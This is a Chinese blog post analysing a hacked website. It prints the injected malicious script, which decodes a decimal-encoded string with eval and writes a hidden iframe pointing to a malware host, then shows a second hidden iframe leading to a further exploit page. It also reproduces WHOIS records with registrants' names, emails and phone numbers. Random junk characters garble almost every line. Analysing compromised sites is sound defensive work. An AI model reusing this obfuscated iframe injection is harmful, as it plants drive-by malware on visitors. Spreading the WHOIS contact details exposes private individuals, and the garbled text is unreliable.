首发在我的博客里面，
7:ckq(89 frk7^5 http://www.areway.cn/?p=175 IS .g);Gj U=M#41J 2kC^7ZAwu 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[gTQ- }3Df] <script>t=’60,105,102,114,97,109,101,
*(>Jd|C 32,115,114,99,61,104,116,116,112,58,47,47,
'>"`)- 102,114,101,101,46,117,45,117,117,117,46,99,
}[
7Nb90v 110,47,101,114,114,111,114,46,104,116,109,
dV$3u"9 32,119,105,100,116,104,61,49,48,48,32,104,
"C?:T'dW 101,105,103,104,116,61,48,62,60,47,105,102,
rkbl/py 114,97,109,101,62′;
G) jG!`I t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
[6 oq# # IBzHR[#,^ <script>t=’60,105,102,114,97,109,101,32,115,
O5c_\yv= 114,99,61,104,116,116,112,58,47,47,102,114,
EP/&m|o|G 101,101,46,117,45,117,117,117,46,99,110,47,
J,6!7a 101,114,114,111,114,46,104,116,109,32,119,
Bfu/9ad 105,100,116,104,61,49,48,48,32,104,101,105,
![qRoYpbg8 103,104,116,61,48,62,60,47,105,102,114,97,
Mi_[9ku>% 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
9#s,K! !3{ document.write(t);</script>
nz }]C04:- J: L -15 <html xmlns=”
l85O-g}M http://www.w3.org/1999/xhtml mMn2( “>
bbM4A! N <head>
.Y+mwvLpRG <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Cq
TH!'N <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
@F>[DW]O <title>首页 - 爱生活家庭网
nm<L&11 Y#GT*V 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
[>Ikitow 转换字符串后的大概内容是（谁点击后果自付）：
axHxqhO7zp <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
N=hSqw[ 3`mC"a b / 查询玉米u-uuu.cn的详细信息：
::kpl 2r\c Domain Name: u-uuu.cn
B'NS&7+]. ROID: 20070901s10001s64972306-cn
9)1P+c-- Domain Status: ok
M|$H+e } : Registrant Organization: 王雷
Y}85J:q] Registrant Name: 王雷
mxtlr) Administrative Email:
czlovexs@126.com Rc;1Sm9\ Sponsoring Registrar: 北京万网志成科技有限公司
]v/t8` Name Server:ns.yovole.com
39'X$! Name Server:ns1.yovole.com
&3!i@2d;3f Registration Date: 2007-09-01 17:54
"4J?JR Expiration Date: 2008-09-01 17:54
wOD/Z8 最后PING了一下地址 都没有什么….
X%RQB$ -i| /JH 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
g-4gI\ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
4;B= Qoxe <script language=”javascript” src=”
O@G<B8U,K http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 1uK)1%vK >
= ?y^O0v 这个玉米应该有可能是木马作者的：
NdaVT5RB foafau.info的详细信息：
I8XGU) Access to INFO WHOIS information is provided to assist persons in
yz54:q? determining the contents of a domain name registration record in the
c%o5 E% Afilias registry database. The data in this record is provided by
:YkDn~@ Afilias Limited for informational purposes only, and Afilias does not
M'pY-/. guarantee its accuracy. This service is intended only for query-based
7{?lEQ&UE access. You agree that you will use this data only for lawful purposes
BBa HM sr and that, under no circumstances will you use this data to: (a) allow,
sE(X:[Am enable, or otherwise support the transmission by e-mail, telephone, or
.D>A'r 8U facsimile of mass unsolicited, commercial advertising or solicitations
\ x>NB to entities other than the data recipient’s own existing customers; or
+H5 jRw (b) enable high volume, automated, electronic processes that send
F#zQQ)(Pf queries or data to the systems of Registry Operator, a Registrar, or
i4 y(H Afilias except as reasonably necessary to register domain names or
m-Mh f; modify existing registrations. All rights reserved. Afilias reserves
PX+"" # the right to modify these terms at any time. By submitting this query,
p\4h$." you agree to abide by this policy.
Br_3qJNVP Domain ID:D22418703-LRMS
2b{@]Fp Domain Name:FOAFAU.INFO
ylo]` Nq Created On:20-Nov-2007 16:05:42 UTC
TXY Last Updated On:20-Nov-2007 16:05:44 UTC
AX!Md:s Expiration Date:20-Nov-2008 16:05:42 UTC
t!+%g) @ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
7$E2/@f Status:CLIENT DELETE PROHIBITED
%3#b6m~ Status:CLIENT RENEW PROHIBITED
q[T_*X3o Status:CLIENT TRANSFER PROHIBITED
EbHUGCMO Status:CLIENT UPDATE PROHIBITED
$D0)j(v Status:TRANSFER PROHIBITED
P,s)2 s'nZ Registrant ID:GODA-040110615
si+5h6I.} Registrant Name:liu hong
gK] T} Registrant Organization:
'Q^G6'(SaK Registrant Street1:beijing
\oD=X}UQw( Registrant Street2:
[qc6Q: Registrant Street3:
z{<q0.^EFh Registrant City:beijing
Lx4H/[$6D Registrant State/Province:
:$) aME q Registrant Postal Code:100000
o
=jX Registrant Country:CN
5VY%o8xXa Registrant Phone:+86.860108888777
zmrX %!CW Registrant Phone Ext.:
Y6[] wUJ Registrant FAX:
DU*Hnii Registrant FAX Ext.:
m -&a~l Registrant Email:bbbshiji@163.com
(RI>aDG RH Admin ID:GODA-240110615
'PxL^ Admin Name:liu hong
}K qw\ ]` Admin Organization:
A=@V LU4% Admin Street1:beijing
}VJ hw*s Admin Street2:
Ezo" f Admin Street3:
3 8ls 4v3 Admin City:beijing
"X!_37kQ Admin State/Province:
-&HoR!af Admin Postal Code:100000
~h~r]tV*+ Admin Country:CN
ZFd{q)qe Admin Phone:+86.860108888777
`rRg(fCN!M Admin Phone Ext.:
g]TI8&tP!L Admin FAX:
fitK2d Admin FAX Ext.:
P dE)m/ Admin Email:bbbshiji@163.com
dzk?Zg Billing ID:GODA-340110615
>u%[J!Y;; Billing Name:liu hong
E!oJ0* @ Billing Organization:
C $EFh4 Billing Street1:beijing
d<^ 6hF Billing Street2:
8?]%Q i Billing Street3:
UVvt&=+ 4 Billing City:beijing
_s =Pk[e Billing State/Province:
ZS
7)(j$. Billing Postal Code:100000
))we\I__8 Billing Country:CN
5,I*F9[3 Billing Phone:+86.860108888777
$4 fjSSB~ Billing Phone Ext.:
$;g%S0:3) Billing FAX:
( kD?},Z Billing FAX Ext.:
_j?=&tc Billing Email:bbbshiji@163.com
tL
9e~>,` Tech ID:GODA-140110615
)l/C_WEK Tech Name:liu hong
p-ii($~ } Tech Organization:
Y7IlqC`i Tech Street1:beijing
2oNPR+
- Tech Street2:
.(.G`aKnF Tech Street3:
gP"Mu#/D Tech City:beijing
SJY"]7 Tech State/Province:
T<_1|eH Tech Postal Code:100000
d#$i/&gE Tech Country:CN
FCw
VVF0 y Tech Phone:+86.860108888777
2* cKFv{ Tech Phone Ext.:
WLA_YMlA Tech FAX:
RdpQJ)3F Tech FAX Ext.:
19.!$; Tech Email:bbbshiji@163.com
^9m^#"ZW` Name Server:NS27.DOMAINCONTROL.COM
[pyXX>:M Name Server:NS28.DOMAINCONTROL.COM
.bl/At3A Name Server:
Q-3J0= Name Server:
-$Z-hxs^ Name Server:
f+(w(~O Name Server:
R,k[Kh Name Server:
~S<F Name Server:
e?'k[ES^ Name Server:
. LVOaxT Name Server:
]q\= Name Server:
'$&(+>)z ` Name Server:
1pBs r( Name Server:
3 %{'Uh, %nK 15( 接着下载每个文件里面的代码：
?}>B4Z) 一步一步看..
0yEyt7
~@ 
H'(o}cn7~ 
8`R}L 
bKbpI>;[ 
d%|#m) 
!D]6Cq 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
